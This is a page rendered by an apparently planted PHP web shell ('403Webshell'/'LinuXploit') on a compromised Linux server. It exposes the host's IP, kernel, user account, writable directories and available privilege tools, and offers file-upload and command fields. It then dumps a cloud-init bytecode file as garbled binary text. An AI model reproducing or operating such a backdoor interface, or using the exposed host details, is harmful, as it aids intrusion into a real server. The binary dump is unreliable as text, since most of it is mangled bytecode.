403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_rightscale_userdata.cpython-36.pyc
3

��b�@sTdZddlZddlmZddlmZddlmZddlm	Z	e	Z
dZdZd	d
�Z
dS)a
Rightscale Userdata
-------------------
**Summary:** support rightscale configuration hooks

This module adds support for RightScale configuration hooks to cloud-init.
RightScale adds a entry in the format ``CLOUD_INIT_REMOTE_HOOK=http://...`` to
ec2 user-data. This module checks for this line in the raw userdata and
retrieves any scripts linked by the RightScale user data and places them in the
user scripts configuration directory, to be run later by ``cc_scripts_user``.

.. note::
    the ``CLOUD_INIT_REMOTE_HOOK`` config variable is present in the raw ec2
    user data only, not in any cloud-config parts

**Internal name:** ``cc_rightscale_userdata``

**Module frequency:** per instance

**Supported distros:** all

**Config keys**::

    CLOUD_INIT_REMOTE_HOOK=<url>
�N)�parse_qs)�
url_helper)�util)�PER_INSTANCEZcc_rightscale_userdataZCLOUD_INIT_REMOTE_HOOKc#Cs�y|j�}Wn tk
r,|jd|�dSXy,t|�}|sFt|krX|jd|t�dSWn$tk
r~tj|d|��YnXg}g}|jd�}	|t}
x�t|
�D]�\}}t	j
j|	d|�}
y6tj
|�}|j�r�|jr�tj|
|dd�|j|
�Wq�tk
�r4}z"|j|�tj|dt||
�WYdd}~Xq�Xq�W|�rP|jd	t|��t|�t|
�k�r~t|
�t|�}|jd
|�|�r�|jdt|��|d
�dS)Nz'Failed to get raw userdata in module %sz:Skipping module %s, did not find %s in parsed raw userdataz1Failed to parse query string %s into a dictionary�scriptszrightscale-%02ii�)�modez!%s failed to read %s and write %sz)Wrote out rightscale userdata to %s filesz%s urls were skipped or failedz2%s failed with exceptions, re-raising the last one����)Zget_userdata_raw�	Exception�debugr�MY_HOOKNAMErZlogexcZ
get_ipath_cur�	enumerate�os�path�join�uhelpZreadurl�ok�contentsZ
write_file�append�MY_NAME�lenZwarning)�nameZ_cfgZcloud�logZ_argsZudZmdictZ	wrote_fnsZcaptured_excpsZ	scripts_dZurls�iZurlZfnameZresp�eZskipped�r�,/usr/lib/python3.6/cc_rightscale_userdata.py�handleAsT



$
r)�__doc__rZurllib.parserZ	cloudinitrrrZcloudinit.settingsrZ	frequencyrrrrrrr�<module>!s

Youez - 2016 - github.com/yon3zu
LinuXploit